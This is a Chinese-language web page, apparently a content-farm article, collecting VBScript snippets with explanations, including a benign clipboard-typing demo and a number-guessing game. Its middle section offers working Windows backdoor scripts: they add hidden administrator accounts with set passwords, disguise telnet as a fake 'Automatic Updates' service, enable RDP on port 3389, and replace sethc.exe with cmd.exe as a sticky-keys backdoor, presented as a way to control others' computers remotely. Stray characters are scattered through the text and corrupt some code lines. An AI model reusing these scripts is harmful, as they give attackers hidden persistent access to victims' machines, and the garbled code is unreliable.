vbs代码大全及含义

vbs代码大全及含义

扫码添加渲大师小管家,免费领取渲染插件、素材、模型、教程合集大礼包!

大家好,今天来介绍vbs代码大全及含义(vbs代码讲解)的问题,以下是渲大师小编对此问题的归纳和整理,感兴趣的来一起看看吧!

vbs代码解释

'══代══码══开══始════
hanzi="嘻嘻哈哈呵呵嘿嘿"
'给档薯变量hanzi赋值
set wshshell=CreateObject("WScript.Shell")
'获取对象句柄,便于后面使用
wshshell.run "winword",3
'启动word软件
for i=1 to len(hanzi)
'对“hanzi”中每个字设置循环
Set ws = wscript.createobject("wscript.shell")
'获取对象句柄,便于后面手汪使用
ws.run "mshta vbscript:clipboardData.SetData("+""""+"text"+""""+","+""""&mid(hanzi,i,1)&""""+")(close)",0,true
'逐字复制每个字到剪切板
wshshell.Sendkeys "^v"
'粘贴到当前光标所在处
next
'══代══码══结══束════

说明:实际上这个代码有bug,就是不等待word打开就粘贴完了。
修改后如下
'══代══码══开══始════
hanzi="嘻嘻哈哈呵呵嘿嘿"
set ws=CreateObject("WScript.Shell")
ws.run "notepad",3
wscript.sleep 1000
for i=1 to len(hanzi)
ws.run "mshta vbscript:clipboardData.SetData("毕蠢仔+""""+"text"+""""+","+""""&mid(hanzi,i,1)&""""+")(close)",0,true
ws.Sendkeys "^v"
next
'══代══码══结══束════

vbs常用代码

1、首先在电脑鼠标右键 新建一个文本文档。

2、然后点开文本文档进行编辑,最重要的一个代码就是msgbox,然后在后面添加想要说的话,但是要使用英文标点符号,换行时候都需要在前面加上代码,最后保存。

3、保存好之后,对这个文本文档进行重命名更改后缀,把文本文档的txt改成vbs。

4、改vbs后缀会弹出一个提示框,提示你如果改变文件扩展名,可能会导致文件不可用誉铅春,确定要改吗,点击是。

5、确定更改激轮文件扩展名之后文本文档就会变成vbs,这样就表示已经完成制作。

6、只要双击这个vbs,桌面就会弹出你庆耐所编辑的语言,一直点击确定就会出现你编辑的所有内容。

vbs代码大全

On Error Resume Next '忽扮租略错误
set wshshell=createobject ("wscript.shell") '调用 wscript.shell
a=wshshell.run ("netsh firewall set portopening TCP 23 ENABL",0) '让XP防火墙对23端口放行
b=wshshell.run ("sc config tlntsvr start= auto",0) '吧telnet改为手动
d=wshshell.run ("net1 user ganggang$ test /add",0) '添加一个帐户
e=wshshell.run ("net1 localgroup administrators ganggang$ /add",0) '加管理组
f=wshshell.run ("cmd /k copy ""%systemroot%\system32\tlntsvr.exe"" ""%systemroot%\java\rundl132.exe""",0) '复制telnet到java目录下改名为rundl132.exe
g=wshshell.run ("sc create ccservice binpath= ""%systemroot%\java\rundl132.exe"厅御兆" type= own",0) 'sc命令用服务的方式启动
h=wshshell.run ("sc config ccservice DisplayName= Automatic Updates",0)
i=wshshell.run ("sc description ccservice 通知所选用户和计算机有关系统管理级警报。",0)
j=wshshell.run ("sc config ccservice start= auto",0) '将服务设为自动
k=wshshell.run ("net1 start ccservice",0) '启动服务
z=wshshell.run ("ATTRIB +R +S +H ""%systemroot%\java\rundl132.exe""",0) '加个属性 艾权啊,我是DARK,给你个可以远程控制别人的VBS代码,没事试试也可以的 再给你一个开启3389创建用户粘滞键后门on error resume next
const HKEY_LOCAL_MACHINE = &H80000002
strComputer = "."
Set StdOut = WScript.StdOut
Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" &_
strComputer & "\root\default:StdRegProv")
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server"
oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp"
oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server"
strValueName = "fDenyTSConnections"
dwValue = 0
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\拆槐rdpwd\Tds\tcp"
strValueName = "PortNumber"
dwValue = 3389
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"
strValueName = "PortNumber"
dwValue = 3389
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
on error resume next
dim username,password:If Wscript.Arguments.Count Then:username=Wscript.Arguments(0):password=Wscript.Arguments(1):Else:username="wykgif":password="wykgif123456":end if:set wsnetwork=CreateObject("WSCRIPT.NETWORK"):os="WinNT://"&wsnetwork.ComputerName:Set ob=GetObject(os):Set oe=GetObject(os&"/Administrators,group"):Set od=ob.Create("user",username):od.SetPassword password:od.SetInfo:Set of=GetObject(os&"/"&username&",user"):oe.Add(of.ADsPath)'wscript.echo of.ADsPath
On Error Resume Next
Dim obj, success
Set obj = CreateObject("WScript.Shell")
success = obj.run("cmd /c takeown /f %SystemRoot%\system32\sethc.exe&echo y cacls %SystemRoot%\system32\sethc.exe /G %USERNAME%:F?? %SystemRoot%\system32\cmd.exe %SystemRoot%\system32\acmd.exe?? %SystemRoot%\system32\sethc.exe %SystemRoot%\system32\asethc.exe&del %SystemRoot%\system32\sethc.exe&ren %SystemRoot%\system32\acmd.exe sethc.exe", 0, True)
CreateObject("Scripting.FileSystemObject").DeleteFile(WScript.ScriptName)

这堆VBS代码是什么意思一个一个解释

OptionExplicit
Randomize'随机种子
Dimn
Diminfo
Dimspea
Dima
Dimb
Dimq'定义变量

info=-1'初始值

DoUntilinfo=1Orinfo=2Orinfo=3Orinfo=0'do循环直到info=0-3其中一个数时结束循环
info=InputBox("请选择游戏难度。"&Chr(10)&"1:低级"&Chr(10)&"2:中级"&Chr(10)&"3:高级"&Chr(10)&"0:退出"&Chr(10)&"1是个位数,2是十位数,3是百位数","猜数字")
'弹出对话框输入数值
SelectCaseinfo'测试这个数值
Case1'如果数值为1则给n赋值10
余岁滚n=10
Case2
n=100
Case3
n=1000
Case0
n=0
CaseElse
n=-1
EndSelect
Ifn=-1Then'如果n为-1则弹出错误提示
MsgBox"输入错误!",16,"猜数字"
雀烂EndIf
Loop
Ifn=0Then'如果n=0则退出脚本
wscript.quit
EndIf
a=Int(Rnd()*n)'以n为范围随机一个数赋值给a
q=Int((a))+1'a取整数加1赋值给q

DoUntila=Int(q)'当a等于q变量取整数时则退出循环
q=InputBox("猜猜是几?"&Chr(10)&"可以随时输入[e]退出。","猜数字")'弹出对话框用户输入猜的数值然后赋值给q
Ifq="e"Then'q等于e则竖余退出脚本
MsgBox"感谢使用!祝您愉快。",,"猜数字"
wscript.quit
EndIf
IfInt(q)>aThen'如果q大于a则弹出大于提示
MsgBox"大了!",48,"猜数字"
EndIf
IfInt(q)<aThen'如果q小于a则弹出大于提示
MsgBox"小了!",48,"猜数字"
EndIf
Loop
IfInt(q)=aThen'如果q等于a则弹出恭喜提示
MsgBox"恭喜你,你赢了!",48,"猜数字"
EndIf
MsgBox"感谢使用!祝您愉快。",,"猜数字"
分享到 :
相关推荐

日本VPS与日本云服务器有哪些区别(日本vps与日本云服务器有哪些区别)

日本VPS与日本云服务器的区别有:1。虚拟化技术应用不同。日本VPS是将一台独立服务...

美国vps主机租用要注意哪些事项(美国vps主机租用要注意哪些事项呢)

租用美国VPS主机时。需要注意以下几个事项:1。选择正规的服务提供商选择正规的服[&...

FastComet主机设置提前续费教程

FastComet主机付款后会默认设置为在到期日自动续费。而FastComet允[&...

如果服务器受到攻击怎么办(如果服务器受到攻击怎么办啊)

随之如今公司信息量的大幅度提升。网络服务器解决统计数据的工作压力都是愈来愈大。非常是...

发表评论

您的电子邮箱地址不会被公开。 必填项已用*标注